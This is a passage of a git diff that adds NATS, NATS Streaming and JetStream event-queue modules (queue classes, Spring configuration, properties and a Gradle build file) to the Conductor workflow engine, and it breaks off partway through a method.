    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.stan; + +import java.util.UUID; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import io.nats.client.Connection; +import io.nats.streaming.*; +import rx.Scheduler; + +/** + * @author Oleksiy Lysak + */ +public class NATSStreamObservableQueue extends NATSAbstractQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(NATSStreamObservableQueue.class); + private final StreamingConnectionFactory fact; + private StreamingConnection conn; + private Subscription subs; + private final String durableName; + + public NATSStreamObservableQueue( + String clusterId, + String natsUrl, + String durableName, + String queueURI, + Scheduler scheduler) { + super(queueURI, "nats_stream", scheduler); + Options.Builder options = new Options.Builder(); + options.clusterId(clusterId); + options.clientId(UUID.randomUUID().toString()); + options.natsUrl(natsUrl); + this.fact = new StreamingConnectionFactory(options.build()); + this.durableName = durableName; + open(); + } + + @Override + public boolean isConnected() { + return (conn != null + && conn.getNatsConnection() != null + && Connection.Status.CONNECTED.equals(conn.getNatsConnection().getStatus())); + } + + @Override + public void connect() { + try { + StreamingConnection temp = fact.createConnection(); + LOGGER.info("Successfully connected for " + queueURI); + conn = temp; + } catch (Exception e) { + LOGGER.error("Unable to establish nats streaming connection for " + queueURI, e); + throw new RuntimeException(e); + } + } + + @Override + public void subscribe() { + // do nothing if already subscribed + if (subs != null) { + return; + } + + try { + ensureConnected(); + SubscriptionOptions subscriptionOptions = + new SubscriptionOptions.Builder().durableName(durableName).build(); + // Create subject/queue subscription if the queue has been provided + if (StringUtils.isNotEmpty(queue)) { + LOGGER.info( + "No subscription. Creating a queue subscription. subject={}, queue={}", + subject, + queue); + subs = + conn.subscribe( + subject, + queue, + msg -> onMessage(msg.getSubject(), msg.getData()), + subscriptionOptions); + } else { + LOGGER.info( + "No subscription. Creating a pub/sub subscription. subject={}", subject); + subs = + conn.subscribe( + subject, + msg -> onMessage(msg.getSubject(), msg.getData()), + subscriptionOptions); + } + } catch (Exception ex) { + LOGGER.error( + "Subscription failed with " + ex.getMessage() + " for queueURI " + queueURI, + ex); + } + } + + @Override + public void publish(String subject, byte[] data) throws Exception { + ensureConnected(); + conn.publish(subject, data); + } + + @Override + public void closeSubs() { + if (subs != null) { + try { + subs.close(true); + } catch (Exception ex) { + LOGGER.error("closeSubs failed with " + ex.getMessage() + " for " + queueURI, ex); + } + subs = null; + } + } + + @Override + public void closeConn() { + if (conn != null) { + try { + conn.close(); + } catch (Exception ex) { + LOGGER.error("closeConn failed with " + ex.getMessage() + " for " + queueURI, ex); + } + conn = null; + } + } + + @Override + public boolean rePublishIfNoAck() { + return false; + } +} diff --git a/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSConfiguration.java b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSConfiguration.java new file mode 100644 index 0000000..3b9e25b --- /dev/null +++ b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSConfiguration.java @@ -0,0 +1,32 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.stan.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.env.Environment; + +import com.netflix.conductor.core.events.EventQueueProvider; + +import rx.Scheduler; + +@Configuration +@ConditionalOnProperty(name = "conductor.event-queues.nats.enabled", havingValue = "true") +public class NATSConfiguration { + + @Bean + public EventQueueProvider natsEventQueueProvider(Environment environment, Scheduler scheduler) { + return new NATSEventQueueProvider(environment, scheduler); + } +} diff --git a/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSEventQueueProvider.java b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSEventQueueProvider.java new file mode 100644 index 0000000..48f29df --- /dev/null +++ b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSEventQueueProvider.java @@ -0,0 +1,59 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.stan.config; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.env.Environment; +import org.springframework.lang.NonNull; + +import com.netflix.conductor.contribs.queue.stan.NATSObservableQueue; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import rx.Scheduler; + +/** + * @author Oleksiy Lysak + */ +public class NATSEventQueueProvider implements EventQueueProvider { + + private static final Logger LOGGER = LoggerFactory.getLogger(NATSEventQueueProvider.class); + + protected Map queues = new ConcurrentHashMap<>(); + private final Scheduler scheduler; + + public NATSEventQueueProvider(Environment environment, Scheduler scheduler) { + this.scheduler = scheduler; + LOGGER.info("NATS Event Queue Provider initialized..."); + } + + @Override + public String getQueueType() { + return "nats"; + } + + @Override + @NonNull + public ObservableQueue getQueue(String queueURI) { + NATSObservableQueue queue = + queues.computeIfAbsent(queueURI, q -> new NATSObservableQueue(queueURI, scheduler)); + if (queue.isClosed()) { + queue.open(); + } + return queue; + } +} diff --git a/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamConfiguration.java b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamConfiguration.java new file mode 100644 index 0000000..325293d --- /dev/null +++ b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamConfiguration.java @@ -0,0 +1,84 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.stan.config; + +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.contribs.queue.stan.NATSStreamObservableQueue; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.model.TaskModel; + +import rx.Scheduler; + +@Configuration +@EnableConfigurationProperties(NATSStreamProperties.class) +@ConditionalOnProperty(name = "conductor.event-queues.nats-stream.enabled", havingValue = "true") +public class NATSStreamConfiguration { + + @Bean + public EventQueueProvider natsEventQueueProvider( + NATSStreamProperties properties, Scheduler scheduler) { + return new NATSStreamEventQueueProvider(properties, scheduler); + } + + @ConditionalOnProperty(name = "conductor.default-event-queue.type", havingValue = "nats_stream") + @Bean + public Map getQueues( + ConductorProperties conductorProperties, + NATSStreamProperties properties, + Scheduler scheduler) { + String stack = ""; + if (conductorProperties.getStack() != null && conductorProperties.getStack().length() > 0) { + stack = conductorProperties.getStack() + "_"; + } + TaskModel.Status[] statuses = + new TaskModel.Status[] {TaskModel.Status.COMPLETED, TaskModel.Status.FAILED}; + Map queues = new HashMap<>(); + for (TaskModel.Status status : statuses) { + String queuePrefix = + StringUtils.isBlank(properties.getListenerQueuePrefix()) + ? conductorProperties.getAppId() + "_nats_stream_notify_" + stack + : properties.getListenerQueuePrefix(); + + String queueName = queuePrefix + status.name() + getQueueGroup(properties); + + ObservableQueue queue = + new NATSStreamObservableQueue( + properties.getClusterId(), + properties.getUrl(), + properties.getDurableName(), + queueName, + scheduler); + queues.put(status, queue); + } + + return queues; + } + + private String getQueueGroup(final NATSStreamProperties properties) { + if (properties.getDefaultQueueGroup() == null + || properties.getDefaultQueueGroup().isBlank()) { + return ""; + } + return ":" + properties.getDefaultQueueGroup(); + } +} diff --git a/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamEventQueueProvider.java b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamEventQueueProvider.java new file mode 100644 index 0000000..6d131dc --- /dev/null +++ b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamEventQueueProvider.java @@ -0,0 +1,79 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.stan.config; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.lang.NonNull; + +import com.netflix.conductor.contribs.queue.stan.NATSStreamObservableQueue; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import rx.Scheduler; + +/** + * @author Oleksiy Lysak + */ +public class NATSStreamEventQueueProvider implements EventQueueProvider { + + private static final Logger LOGGER = + LoggerFactory.getLogger(NATSStreamEventQueueProvider.class); + protected final Map queues = new ConcurrentHashMap<>(); + private final String durableName; + private final String clusterId; + private final String natsUrl; + private final Scheduler scheduler; + + public NATSStreamEventQueueProvider(NATSStreamProperties properties, Scheduler scheduler) { + LOGGER.info("NATS Stream Event Queue Provider init"); + this.scheduler = scheduler; + + // Get NATS Streaming options + clusterId = properties.getClusterId(); + durableName = properties.getDurableName(); + natsUrl = properties.getUrl(); + + LOGGER.info( + "NATS Streaming clusterId=" + + clusterId + + ", natsUrl=" + + natsUrl + + ", durableName=" + + durableName); + LOGGER.info("NATS Stream Event Queue Provider initialized..."); + } + + @Override + public String getQueueType() { + return "nats_stream"; + } + + @Override + @NonNull + public ObservableQueue getQueue(String queueURI) { + NATSStreamObservableQueue queue = + queues.computeIfAbsent( + queueURI, + q -> + new NATSStreamObservableQueue( + clusterId, natsUrl, durableName, queueURI, scheduler)); + if (queue.isClosed()) { + queue.open(); + } + return queue; + } +} diff --git a/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamProperties.java b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamProperties.java new file mode 100644 index 0000000..b864522 --- /dev/null +++ b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamProperties.java @@ -0,0 +1,76 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.stan.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +import io.nats.client.Options; + +@ConfigurationProperties("conductor.event-queues.nats-stream") +public class NATSStreamProperties { + + /** The cluster id of the STAN session */ + private String clusterId = "test-cluster"; + + /** The durable subscriber name for the subscription */ + private String durableName = null; + + /** The NATS connection url */ + private String url = Options.DEFAULT_URL; + + /** The prefix to be used for the default listener queues */ + private String listenerQueuePrefix = ""; + + /** WAIT tasks default queue group, to make subscription round-robin delivery to single sub */ + private String defaultQueueGroup = "wait-group"; + + public String getClusterId() { + return clusterId; + } + + public void setClusterId(String clusterId) { + this.clusterId = clusterId; + } + + public String getDurableName() { + return durableName; + } + + public void setDurableName(String durableName) { + this.durableName = durableName; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getListenerQueuePrefix() { + return listenerQueuePrefix; + } + + public void setListenerQueuePrefix(String listenerQueuePrefix) { + this.listenerQueuePrefix = listenerQueuePrefix; + } + + public String getDefaultQueueGroup() { + return defaultQueueGroup; + } + + public void setDefaultQueueGroup(String defaultQueueGroup) { + this.defaultQueueGroup = defaultQueueGroup; + } +} diff --git a/nats/build.gradle b/nats/build.gradle new file mode 100644 index 0000000..fa8741e --- /dev/null +++ b/nats/build.gradle @@ -0,0 +1,13 @@ +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + + implementation "io.nats:jnats:${revNats}" + + implementation "org.apache.commons:commons-lang3:" + implementation "com.google.guava:guava:${revGuava}" + implementation "io.reactivex:rxjava:${revRxJava}" + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-starter-web' +} \ No newline at end of file diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/JetStreamObservableQueue.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/JetStreamObservableQueue.java new file mode 100644 index 0000000..9405aee --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/JetStreamObservableQueue.java @@ -0,0 +1,343 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Locale; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.availability.AvailabilityChangeEvent; +import org.springframework.boot.availability.LivenessState; +import org.springframework.context.ApplicationEventPublisher; + +import com.netflix.conductor.contribs.queue.nats.config.JetStreamProperties; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import io.nats.client.*; +import io.nats.client.api.*; +import rx.Observable; +import rx.Scheduler; + +/** + * @author andrey.stelmashenko@gmail.com + */ +public class JetStreamObservableQueue implements ObservableQueue { + private static final Logger LOG = LoggerFactory.getLogger(JetStreamObservableQueue.class); + private final LinkedBlockingQueue messages = new LinkedBlockingQueue<>(); + private final Lock mu = new ReentrantLock(); + private final String queueType; + private final String subject; + private final String streamName; + private final String queueUri; + private final JetStreamProperties properties; + private final Scheduler scheduler; + private final AtomicBoolean running = new AtomicBoolean(false); + private final ApplicationEventPublisher eventPublisher; + private Connection nc; + private JetStreamSubscription sub; + private Observable interval; + private final String queueGroup; + + public JetStreamObservableQueue( + ConductorProperties conductorProperties, + JetStreamProperties properties, + String queueType, + String queueUri, + Scheduler scheduler, + ApplicationEventPublisher eventPublisher) { + LOG.debug("JSM obs queue create, qtype={}, quri={}", queueType, queueUri); + + this.queueUri = queueUri; + // If queue specified (e.g. subject:queue) - split to subject & queue + if (queueUri.contains(":")) { + this.subject = + getQueuePrefix(conductorProperties, properties) + + queueUri.substring(0, queueUri.indexOf(':')); + queueGroup = queueUri.substring(queueUri.indexOf(':') + 1); + } else { + this.subject = getQueuePrefix(conductorProperties, properties) + queueUri; + queueGroup = null; + } + this.streamName = streamNameFromSubject(this.subject); + this.queueType = queueType; + this.properties = properties; + this.scheduler = scheduler; + this.eventPublisher = eventPublisher; + } + + public static String getQueuePrefix( + ConductorProperties conductorProperties, JetStreamProperties properties) { + String stack = ""; + if (conductorProperties.getStack() != null && conductorProperties.getStack().length() > 0) { + stack = conductorProperties.getStack() + "_"; + } + + return StringUtils.isBlank(properties.getListenerQueuePrefix()) + ? conductorProperties.getAppId() + "_jsm_notify_" + stack + : properties.getListenerQueuePrefix(); + } + + private static String streamNameFromSubject(String subject) { + return subject.replace(".", "_") + .replace("*", "ANY") + .replace(">", "ALL") + .toUpperCase(Locale.ROOT); + } + + @Override + public Observable observe() { + return Observable.create(getOnSubscribe()); + } + + private Observable.OnSubscribe getOnSubscribe() { + return subscriber -> { + interval = + Observable.interval( + properties.getPollTimeDuration().toMillis(), + TimeUnit.MILLISECONDS, + scheduler); + interval.flatMap( + (Long x) -> { + if (!this.isRunning()) { + LOG.debug( + "Component stopped, skip listening for messages from JSM Queue '{}'", + subject); + return Observable.from(Collections.emptyList()); + } else { + List available = new ArrayList<>(); + messages.drainTo(available); + if (!available.isEmpty()) { + LOG.debug( + "Processing JSM queue '{}' batch messages count={}", + subject, + available.size()); + } + return Observable.from(available); + } + }) + .subscribe(subscriber::onNext, subscriber::onError); + }; + } + + @Override + public String getType() { + return queueType; + } + + @Override + public String getName() { + return queueUri; + } + + @Override + public String getURI() { + return getName(); + } + + @Override + public List ack(List messages) { + messages.forEach(m -> ((JsmMessage) m).getJsmMsg().ack()); + return Collections.emptyList(); + } + + @Override + public void publish(List messages) { + try (Connection conn = Nats.connect(properties.getUrl())) { + JetStream js = conn.jetStream(); + for (Message msg : messages) { + js.publish(subject, msg.getPayload().getBytes()); + } + } catch (IOException | JetStreamApiException e) { + throw new NatsException("Failed to publish to jsm", e); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new NatsException("Failed to publish to jsm", e); + } + } + + @Override + public void setUnackTimeout(Message message, long unackTimeout) { + // do nothing, not supported + } + + @Override + public long size() { + try { + return sub.getConsumerInfo().getNumPending(); + } catch (IOException | JetStreamApiException e) { + LOG.warn("Failed to get stream '{}' info", subject); + } + return 0; + } + + @Override + public void start() { + mu.lock(); + try { + natsConnect(); + } finally { + mu.unlock(); + } + } + + @Override + public void stop() { + interval.unsubscribeOn(scheduler); + try { + if (nc != null) { + nc.close(); + } + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + LOG.error("Failed to close Nats connection", e); + } + running.set(false); + } + + @Override + public boolean isRunning() { + return this.running.get(); + } + + private void natsConnect() { + if (running.get()) { + return; + } + LOG.info("Starting JSM observable, name={}", queueUri); + try { + Nats.connectAsynchronously( + new Options.Builder() + .connectionListener( + (conn, type) -> { + LOG.info("Connection to JSM updated: {}", type); + if (ConnectionListener.Events.CLOSED.equals(type)) { + LOG.error( + "Could not reconnect to NATS! Changing liveness status to {}!", + LivenessState.BROKEN); + AvailabilityChangeEvent.publish( + eventPublisher, type, LivenessState.BROKEN); + } + this.nc = conn; + subscribeOnce(conn, type); + }) + .errorListener(new LoggingNatsErrorListener()) + .server(properties.getUrl()) + .maxReconnects(properties.getMaxReconnects()) + .build(), + true); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new NatsException("Failed to connect to JSM", e); + } + } + + private void createStream(JetStreamManagement jsm) { + StreamConfiguration streamConfig = + StreamConfiguration.builder() + .name(streamName) + .subjects(subject) + .replicas(properties.getReplicas()) + .retentionPolicy(RetentionPolicy.Limits) + .maxBytes(properties.getStreamMaxBytes()) + .storageType(StorageType.get(properties.getStreamStorageType())) + .build(); + + try { + StreamInfo streamInfo = jsm.addStream(streamConfig); + LOG.debug("Updated stream, info: {}", streamInfo); + } catch (IOException | JetStreamApiException e) { + LOG.error("Failed to add stream: " + streamConfig, e); + AvailabilityChangeEvent.publish(eventPublisher, e, LivenessState.BROKEN); + } + } + + private void subscribeOnce(Connection nc, ConnectionListener.Events type) { + if (type.equals(ConnectionListener.Events.CONNECTED) + || type.equals(ConnectionListener.Events.RECONNECTED)) { + JetStreamManagement jsm; + try { + jsm = nc.jetStreamManagement(); + } catch (IOException e) { + throw new NatsException("Failed to get jsm management", e); + } + createStream(jsm); + var consumerConfig = createConsumer(jsm); + subscribe(nc, consumerConfig); + } + } + + private ConsumerConfiguration createConsumer(JetStreamManagement jsm) { + ConsumerConfiguration consumerConfig = + ConsumerConfiguration.builder() + .name(properties.getDurableName()) + .deliverGroup(queueGroup) + .durable(properties.getDurableName()) + .ackWait(properties.getAckWait()) + .maxDeliver(properties.getMaxDeliver()) + .maxAckPending(properties.getMaxAckPending()) + .ackPolicy(AckPolicy.Explicit) + .deliverSubject(subject + "-deliver") + .deliverPolicy(DeliverPolicy.New) + .build(); + + try { + jsm.addOrUpdateConsumer(streamName, consumerConfig); + return consumerConfig; + } catch (IOException | JetStreamApiException e) { + throw new NatsException("Failed to add/update consumer", e); + } + } + + private void subscribe(Connection nc, ConsumerConfiguration consumerConfig) { + try { + JetStream js = nc.jetStream(); + + PushSubscribeOptions pso = + PushSubscribeOptions.builder().configuration(consumerConfig).stream(streamName) + .bind(true) + .build(); + + LOG.debug("Subscribing jsm, subject={}, options={}", subject, pso); + sub = + js.subscribe( + subject, + queueGroup, + nc.createDispatcher(), + msg -> { + var message = new JsmMessage(); + message.setJsmMsg(msg); + message.setId(NUID.nextGlobal()); + message.setPayload(new String(msg.getData())); + messages.add(message); + }, + /*autoAck*/ false, + pso); + LOG.debug("Subscribed successfully {}", sub.getConsumerInfo()); + this.running.set(true); + } catch (IOException | JetStreamApiException e) { + throw new NatsException("Failed to subscribe", e); + } + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/JsmMessage.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/JsmMessage.java new file mode 100644 index 0000000..ddcd7df --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/JsmMessage.java @@ -0,0 +1,30 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats; + +import com.netflix.conductor.core.events.queue.Message; + +/** + * @author andrey.stelmashenko@gmail.com + */ +public class JsmMessage extends Message { + private io.nats.client.Message jsmMsg; + + public io.nats.client.Message getJsmMsg() { + return jsmMsg; + } + + public void setJsmMsg(io.nats.client.Message jsmMsg) { + this.jsmMsg = jsmMsg; + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/LoggingNatsErrorListener.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/LoggingNatsErrorListener.java new file mode 100644 index 0000000..5f365bd --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/LoggingNatsErrorListener.java @@ -0,0 +1,49 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import io.nats.client.Connection; +import io.nats.client.ErrorListener; +import io.nats.client.JetStreamSubscription; +import io.nats.client.Message; + +public class LoggingNatsErrorListener implements ErrorListener { + private static final Logger LOG = LoggerFactory.getLogger(LoggingNatsErrorListener.class); + + @Override + public void errorOccurred(Connection conn, String error) { + LOG.error("Nats connection error occurred: {}", error); + } + + @Override + public void exceptionOccurred(Connection conn, Exception exp) { + LOG.error("Nats connection exception occurred", exp); + } + + @Override + public void messageDiscarded(Connection conn, Message msg) { + LOG.error("Nats message discarded, SID={}, ", msg.getSID()); + } + + @Override + public void heartbeatAlarm( + Connection conn, + JetStreamSubscription sub, + long lastStreamSequence, + long lastConsumerSequence) { + LOG.warn("Heartbit missed, subject={}", sub.getSubject()); + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NATSAbstractQueue.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NATSAbstractQueue.java new file mode 100644 index 0000000..f838afd --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NATSAbstractQueue.java @@ -0,0 +1,301 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats; + +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.Executors; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import io.nats.client.NUID; +import rx.Observable; +import rx.Scheduler; + +/** + * @author Oleksiy Lysak + */ +public abstract class NATSAbstractQueue implements ObservableQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(NATSAbstractQueue.class); + protected LinkedBlockingQueue messages = new LinkedBlockingQueue<>(); + protected final Lock mu = new ReentrantLock(); + private final String queueType; + private ScheduledExecutorService execs; + private final Scheduler scheduler; + + protected final String queueURI; + protected final String subject; + protected String queue; + + // Indicates that observe was called (Event Handler) and we must to re-initiate subscription + // upon reconnection + private boolean observable; + private boolean isOpened; + private volatile boolean running; + + NATSAbstractQueue(String queueURI, String queueType, Scheduler scheduler) { + this.queueURI = queueURI; + this.queueType = queueType; + this.scheduler = scheduler; + + // If queue specified (e.g. subject:queue) - split to subject & queue + if (queueURI.contains(":")) { + this.subject = queueURI.substring(0, queueURI.indexOf(':')); + queue = queueURI.substring(queueURI.indexOf(':') + 1); + } else { + this.subject = queueURI; + queue = null; + } + LOGGER.info( + String.format( + "Initialized with queueURI=%s, subject=%s, queue=%s", + queueURI, subject, queue)); + } + + void onMessage(String subject, byte[] data) { + String payload = new String(data); + LOGGER.info(String.format("Received message for %s: %s", subject, payload)); + + Message dstMsg = new Message(); + dstMsg.setId(NUID.nextGlobal()); + dstMsg.setPayload(payload); + + messages.add(dstMsg); + } + + @Override + public Observable observe() { + LOGGER.info("Observe invoked for queueURI " + queueURI); + observable = true; + + mu.lock(); + try { + subscribe(); + } finally { + mu.unlock(); + } + + Observable.OnSubscribe onSubscribe = + subscriber -> { + Observable interval = + Observable.interval(100, TimeUnit.MILLISECONDS, scheduler); + interval.flatMap( + (Long x) -> { + if (!isRunning()) { + LOGGER.debug( + "Component stopped, skip listening for messages from NATS Queue"); + return Observable.from(Collections.emptyList()); + } else { + List available = new LinkedList<>(); + messages.drainTo(available); + + if (!available.isEmpty()) { + AtomicInteger count = new AtomicInteger(0); + StringBuilder buffer = new StringBuilder(); + available.forEach( + msg -> { + buffer.append(msg.getId()) + .append("=") + .append(msg.getPayload()); + count.incrementAndGet(); + + if (count.get() < available.size()) { + buffer.append(","); + } + }); + LOGGER.info( + String.format( + "Batch from %s to conductor is %s", + subject, buffer.toString())); + } + + return Observable.from(available); + } + }) + .subscribe(subscriber::onNext, subscriber::onError); + }; + return Observable.create(onSubscribe); + } + + @Override + public String getType() { + return queueType; + } + + @Override + public String getName() { + return queueURI; + } + + @Override + public String getURI() { + return queueURI; + } + + @Override + public List ack(List messages) { + return Collections.emptyList(); + } + + @Override + public void setUnackTimeout(Message message, long unackTimeout) {} + + @Override + public long size() { + return messages.size(); + } + + @Override + public void publish(List messages) { + messages.forEach( + message -> { + try { + String payload = message.getPayload(); + publish(subject, payload.getBytes()); + LOGGER.info(String.format("Published message to %s: %s", subject, payload)); + } catch (Exception ex) { + LOGGER.error( + "Failed to publish message " + + message.getPayload() + + " to " + + subject, + ex); + throw new RuntimeException(ex); + } + }); + } + + @Override + public boolean rePublishIfNoAck() { + return true; + } + + @Override + public void close() { + LOGGER.info("Closing connection for " + 